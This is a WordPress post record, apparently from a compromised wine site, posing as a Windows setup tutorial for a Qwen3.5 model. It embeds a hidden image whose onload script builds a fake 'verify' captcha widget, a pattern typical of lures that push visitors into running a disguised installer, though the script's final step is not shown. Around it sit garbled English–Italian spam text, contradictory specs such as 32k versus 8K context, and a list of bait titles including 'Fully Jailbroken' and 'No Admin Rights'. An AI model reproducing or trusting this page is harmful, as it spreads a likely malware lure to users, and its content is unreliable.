JO\/WgpxoBFCddPD0xiGpTSff1f\/Db6ovpUo9F3bjk+W1CSWKSunLZ9pGvpGXcBnY56KFUR+JF3E0B8TJoSeLPgr+0n668TFIoUDK\/jwRpo7PSYyFek5NVjsQd6LWti329Vox1zPx+l6fyNi\/z8ZGaDOWjuGr14NVsSvmaBvU5Hd\/o0+wEXWu2xEpMKlt7pvbuTFD+esXjFxK8mUcwc1Cxxqda0j+NywBvRHubUgkpVDdgUrxA9rcXdUIzeNoLWVnIwkf7Ho8QV9a\/6CwOMWXREIoiUvrwNkdz8utcuSxH1yyakgU+NyKkrWn93elOE54Udc+ZtEU4wjJd3mN8Vg6vIqsPcvd8Nje+QHNq02WCP4YwNyFLQF8yCq\/GeFvQF9UjAAAAAAATesc5M7ZKcqca6Fx6rgmiIvfPJUdGZZ43yy6nX6lUusmTi\/Za28wp9jsXma9NSMTu2E+V2LGsjRVXjSwDXKxTnLFO5rGDBLOc5Pq\/Yzw1NoYvJAT6W+OCPWVf17n2xr1XRCgYBAjk4Utj8MzA6SJ7\/SMBYlbeP8WB2FDkw4tx7frUCitj3yYM5yRPA7NtDvsZ6Dj4Km1H5gKmHausy2RvhrIzkJVaWhJSkrqdfQfkl3+URek0rZiMvIbfR6B0gVdFckN8bMrDe3ZGY+frVT8lPEzqcNfRq3gR0Cn\/HNDu2H7FK0t7JLCaia5XIIY7yCSa\/MstkZ3DdDj3vPyZ4zlKA0ok11Ct5c+o06PdP21TWB067MCeOA38hQt5sJgm3LRwXBrSqZ+vFIXyIrzsRzBw1cpqlsOrwLJDNcy5EjBRi3Xo94azP014EI7PZQbD4OFSSLsh\/TzxQcDWiL7Yc7LvbSbkYvhTAI4TCFoW9Pp9mi\/dN+80RR4lPmn+wkucBhVeZFUMbv9qcxue4xl4K1ZQnHWjSsmJ3MYy3t7kr\/kixM6w1tsNcafBtmsuCDtIrsvy8mYuseK9v4ep2lRJ6gOyyoI++glyMSYAmKNHeP01b1mbisONeb\/4lnw7xeVl8m5tmjObRtIsN1hzd\/8+wjOhcApN6jmbe0GKwmzEIrO6BdAoi7h\/oa9ig68myrmgDkfGpgDxgtfAf3pBsUAzNjzRXy2Sy+bRHUKfE6Icbeql+Kw3KFHTK6GGA00UD\/jqRwuo6BPgBhcUyoymEzHr1yqnrRyIDCFwDABXIGJ2SSpqnWcmusOtpXiI65t8+3QbHoBmFVdxKTvVHEez6bp7C6PJB7byMg\/riJFidxODGYiTKv49DMsJR+tDZIp7MGupUeNUVM1iHiwzkItlT3iMIth31Xt9XBumtf1qu8WXObonNr95bAz+2T1pvpQCp0i3K0UOHadJXqvAli6Gvwjm\/IclROmf8t0a37YurndtKDPOTYazuSk03c9Yj6HeIpbjdj0tDSVb\/4YYUldSp\/wJslnCMfDFShY30Ezu\/47+bWj++ybJiDk6UE5nEC6bxxtOS0f8MdPa3i12tfaA\/eonvWYh1sNmuBxIrv6StROw39BGanWVD9wv8ojFM8uTXlv4fn\/V5yfE0WDvvkRQ38R7otH88nOJtePFWnBE92faeJf5Kqsj4zcioUc+0LzhSeuyOAasYuFdWdgGAk\/OtEL5mnv0P0MR\/1x3zXUWHT5GbwCdax6IoUY8cnwtv0vlUyuxCUpVuzdXTi7j\/zbYcKoBp7tW6W2JHaT7XEpq0\/gjB4FTaWFLnf12fraYvMJvtdollSy+fwVJTGlaZj80aLNMuvtXTRnRbdikyJuvMKl+jMS40O5h+7QfIplHASMq\/gPjC0UMjWiU82GmqnKHQ9p87Rh1XCOodOM4xiow4wI73IlVkMWM5cnRXOQh5+fLH\/Ta42TisLO3LQ3WHYFKsm\/5FLGYRMewwzaTWAFi2nwkK2V4\/rNRxPELv4rN2B1dFxnJ8ipSW6hUMZWf1hanbIZd27YB4733JW15M6Dl\/z\/7qIQWLQDRDYnsbEnNUbzG2i0AYkkAABDgBNw9sW7OLAqTSgocGwxJIOEFVR7751+zWaSiDiiKBl3FfVN+YYzliexs6+u1+3YC\/lw5+eLAUhvc3cKHvQSqVvSH4eWVlRRYWRLPIrz7GaOGeUvZIael4vNplryBk7OgJzXme\/H7xb8UDaDsnWVYKkSkGV71bclLO19NqmjG69joOlLZ5depHwM5KvSk7Gh5ax2KXF\/D4h5MGe230lRj8DcW7qamHQiGzN3xH0h6BKLPcpYceW8LTzE5BIr3q4bNOOuOh3Um3eBrWcn3cZLQQd7agFOKtGsq0FcXf6RqJFKUdmVuZLqJkG3Nn1z3mKFKOaW+3QQV\/MtT3wJlL7H7ElyLHr2aS25oQNk9na2GKKP1bw2F7dLXlm0Dv9BPYjfSN2gbXron10Y6zLQ+43IgsQvdmWLSYgAIr1T5y295I0518SqKrZZqAat8pucmkbyYiwp0pN6HQZ7XAVB83DBwRdJm\/I0ijBxncYQ8sFES4bpER6C8TS8ooDTsrbEFqwl0xGIGfWi1GiBxIlD9p8BADXH8UFNdAJfafbKFMhzJJkrJVwilQ7xGgDhpi8cvsbQHN20HHn2RInsw6DPH+XYxxmmOee5wwDvIuQYS6K2sUezKoNKHgtcoi9bqCQ5I9XT8hOKT469aJesu9tMeS1G9rgGrwZ+2tpNZzGfJQFMCPa0Wvs3yUWo9MpxKV1znRZCJYAVIYRTSFFBq3xjfEnum7G4z8KgSnH0kkxYpH4\/0ZDeYMo2OchSQ1+YYsHNg073etX0Q2ets\/4yalTYanfAxwdjvuDvMj5YVA5j26U3OZdakujp3owoQcQYCU+ZYD2ZVjm2mdxjE2XGqcSjagSDaRDKmgYXJ9LfGc2umo6Bo0hg8ej16FSyBxno6j1crlSvTyozQoBCE7vyJh4a4LyS4P+OD6FRKmE\/FCeCUn1r9iI7n3eHg9Rw4IRjV17DeLt8Wh9sH+lbTsC4yZl5gWQQVk9SupXK4+XSluHOF3du+AYMV7Lx2MdC2zc8K\/QHwk9DGR8QRCD7oM+cGEoo8JrpWzRCTHHPTVxUdi9qfMxVzrOSaCxRNfccGjyLUsICqVH\/dJj\/aM9uk7vWuh9fVSXNwciOq64qRYglSVVuZJkTb5j1MwTR4bOKB5n1SekLbXUvmCVo6CRf1sZTPpypBhfrXtRtv5NxahE5xydd\/Z3iyipyDKihXwkX43nLJiYjm8pl+yQr5rKltiGEKDjnCFSHM1MsGmtvSHYUFI8KLImZYLSq82mn5PV\/5L4DMMIFE9rfmSNMWtwYI\/LxIGULK7rVWWGmNJRp8YPQzwWDjUKUq\/Ne5smzpyPtC2wlmbSqh6lxMs8jJj3J20O+wkmAfiOAoqvIAFRL9aBSjdfo2Ig9qkO2Kv2v42XiOr1RxOwRPGTMOIWgUiyMZjbMTiCL94G1W9SlX3Xac9syRWkQw8\/cB4brnr5yweyQT1c+j7I3clvLA5+5ujeiby+dKr8csittz91z7lFpRM+MxIFLcmElUV5lZXi8LCJDE7k0Xu9ILNA+TbhlgmJ+8SClGuHd8n1\/eY8vCKFrQWCCi3c3xbBO0ZNdmEDz1X9ImUFIXMqA\/TnS+SSYAOVD0yMYkD0jbhR6M9yTkUKshKTpZazcdV8ksQWlZCQaZQnYGf6RohzBAhL+qWP3HF7IypmERCesCJEtUC454ioVepcH15VbdfL1cqUfxI+Tgi3XANt8XZAEPRo5gCIoXvwG6NGNAryBeJ2f7HWPmwz9gWi1AA4MNeeK0gfY\/lKw\/UjJPJlHrQksDMK1Da2mXK53+7Fo0M7YOW7v5gRkDESzpmyeRras1MrzUooCNu+ldvHkfRFKbufCGzF5OmNqpZ\/Vm98ZUp2It\/nJ1APzAF1\/FVL2ZhBNpH6TvkpcS07jlQupJhJjdd28IzXbI+b1x3aZ5fQPpu4fXd1brjA6ztIoKmkA2WCyYxLab0zwfwxeVBvNGeP27rjggaSSGzuieRkyXnd3J1Q9ps12bbcVhKWoOUQQI8g5Uxp2obQ7t47nEwXM85\/gEMREQ3nZfcrsAMM8LuKj4Gr2MqSVhuphcOH3RKbS2248PiyV3ztB2u5rTzt3wALA+pAZc\/0UCatpGgCJ3cXP7erkwcaSsy55b\/yEYJ8znHBuaPJjpXM11VxlvkIPLeYhKW3XxZjyW+SXNM4i5zKaXbvAJGbVImkLAVJsdmgVmGfNsvL0BEELAY9prqI7UU0WsM5gcdfES718MxfcOuEm1Wo97QQVqC41HZZ+gMEkDb4ri1k5D\/LjYyXoZbELgk9N7vbhNSnH7UqnISml37UUL\/+EPwCmuvhCDt+poQRkC0Mav1+z6PciB0scXKdUQwsMHVSIjIWLVP6JrVORvtxck7PTvJy1mJSQSHkx5WCcTdgAAA\" alt=\"How to Setup Qwen3.5-9B-MLX-4bit Windows 10 2026\/2027 Tutorial\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>shortest path<\/i> to running this model is by activating <b>Hyper-V features<\/b>.<\/p>\n<p>Follow the <b>guidelines<\/b> below to continue.<\/p>\n<p> <\/p>\n<p><i>The client handles the setup, pulling gigabytes of data automatically.<\/i><\/p>\n<p> <\/p>\n<p>You don&rsquo;t need to tweak anything; the installer <b>picks the highest performing setup<\/b>.<\/p>\n<table style=\"width:800px;max-width:800px;margin:10px auto 60px;border-collapse:collapse;border-radius:22px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#f8fafc;box-shadow:0 24px 48px rgba(0,0,0,0.1);border:1px solid #e2e8f0;\">\n<tr>\n<td style=\"padding:50px 65px;text-align:center;font-size:26px;color:#0f172a;line-height:2.8;letter-spacing:-0.02em;font-weight:500;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#424242;font-family:'JetBrains Mono';\">HASH di rilascio: <span style=\"color:#000;\">a776cc1d426e573c0953d09796f0dfcb<\/span> \u2022 \ud83d\udcc5 Date: <span>2026-06-25<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var 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#ccc;border-radius:4px;\"><br \/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verificare<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:28px;padding-left:23px;margin-left:0;\">\n<li><b>CPU<\/b> AVX2\/AVX-512 instruction set <b>required for llama.cpp<\/b><\/li>\n<li><strong>RAM:<\/strong> 32 GB or higher for <strong>smooth 32k context<\/strong> lengths<\/li>\n<li><b>Spazio su disco:<\/b> richiesto: veloce <b>PCIe 4.0<\/b> drive for instant boots<\/li>\n<li><b>Grafica:<\/b> CUDA Compute Capability 8.0+ <b>required for flash-attention<\/b><\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>Qwen3.5-9B-MLX-4bit<\/b> model delivers strong performance while maintaining a compact footprint thanks to its <b>9B parameters<\/b> e <b>4-bit quantization<\/b>. Its integration with the <b>MLX<\/b> framework enables <i>optimized memory usage<\/i> e <i>accelerated inference<\/i> on consumer\u2011grade hardware. The model supports an <b>8K token context window<\/b>, allowing it to handle longer dialogues and complex reasoning tasks. Benchmarks show it achieves competitive perplexity scores compared to larger models, making it ideal for deployment in resource\u2011constrained environments. Additionally, the <b>MLX<\/b> optimizations reduce latency, providing <i>smooth real\u2011time responses<\/i> even on laptops and edge devices.<\/p>\n<table>\n<tr>\n<th>Parameter<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Model Name<\/td>\n<td>Qwen3.5-9B-MLX-4bit<\/td>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>9B<\/td>\n<\/tr>\n<tr>\n<td>Quantization<\/td>\n<td>4\u2011bit<\/td>\n<\/tr>\n<tr>\n<td>Framework<\/td>\n<td>MLX<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>8K tokens<\/td>\n<\/tr>\n<tr>\n<td>Inference Speed<\/td>\n<td>>100 tokens\/s (GPU)<\/td>\n<\/tr>\n<\/table>\n<ul>\n<li>Script downloading background removal masks for offline photo production pipelines<\/li>\n<li>How to Setup Qwen3.5-9B-MLX-4bit Locally via Ollama 2 Full Speed NPU Mode Step-by-Step FREE<\/li>\n<li>Downloader pulling refined instance segmentation models for offline medical imaging calculation nodes<\/li>\n<li>Full Deployment Qwen3.5-9B-MLX-4bit Windows 10 No Admin Rights Full Method FREE<\/li>\n<li>Setup utility linking external NVMe drives for model storage<\/li>\n<li>Qwen3.5-9B-MLX-4bit 100% Private PC Fully Jailbroken Step-by-Step FREE<\/li>\n<li>Downloader for customized Gemma-2-27B GGUF layers with dynamic offloading splits<\/li>\n<li>How to Launch Qwen3.5-9B-MLX-4bit Windows 11 For Low VRAM (6GB\/8GB) Complete Walkthrough FREE<\/li>\n<li>Script automating download of Stable Diffusion 3.5 medium checkpoints<\/li>\n<li>How to Autostart Qwen3.5-9B-MLX-4bit on Your PC with 1M Context Local Guide FREE<\/li>\n<li>Downloader pulling optimized mistral-nemo-12b weights for code documentation task systems<\/li>\n<li>How to Setup Qwen3.5-9B-MLX-4bit with Native FP4 No-Code Guide<\/li>\n<\/ul>","protected":false},"excerpt":{"rendered":"<p>The shortest path to running this model is by activating Hyper-V features. Follow the guidelines below to continue. The client handles the setup, pulling gigabytes of data automatically. You don&rsquo;t need to tweak anything; the installer picks the highest performing setup. \ud83d\udce4 Release Hash: a776cc1d426e573c0953d09796f0dfcb \u2022 \ud83d\udcc5 Date: 2026-06-25 Verify CPU: AVX2\/AVX-512 instruction set required &#8230; <a title=\"Come configurare Qwen3.5-9B-MLX-4bit su Windows 10 (tutorial 2026\/2027)\" class=\"read-more\" href=\"https:\/\/co2winery.com\/it\/2026\/06\/30\/how-to-setup-qwen3-5-9b-mlx-4bit-windows-10-2026-2027-tutorial\/\" aria-label=\"Leggi di pi\u00f9 su How to Setup Qwen3.5-9B-MLX-4bit Windows 10 2026\/2027 Tutorial\">Leggi tutto<\/a><\/p>","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[41],"tags":[],"class_list":["post-3940","post","type-post","status-publish","format-standard","hentry","category-agents"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/posts\/3940","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/comments?post=3940"}],"version-history":[{"count":1,"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/posts\/3940\/revisions"}],"predecessor-version":[{"id":3941,"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/posts\/3940\/revisions\/3941"}],"wp:attachment":[{"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/media?parent=3940"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/categories?post=3940"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/co2winery.com\/it\/wp-json\/wp\/v2\/tags?post=3940"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}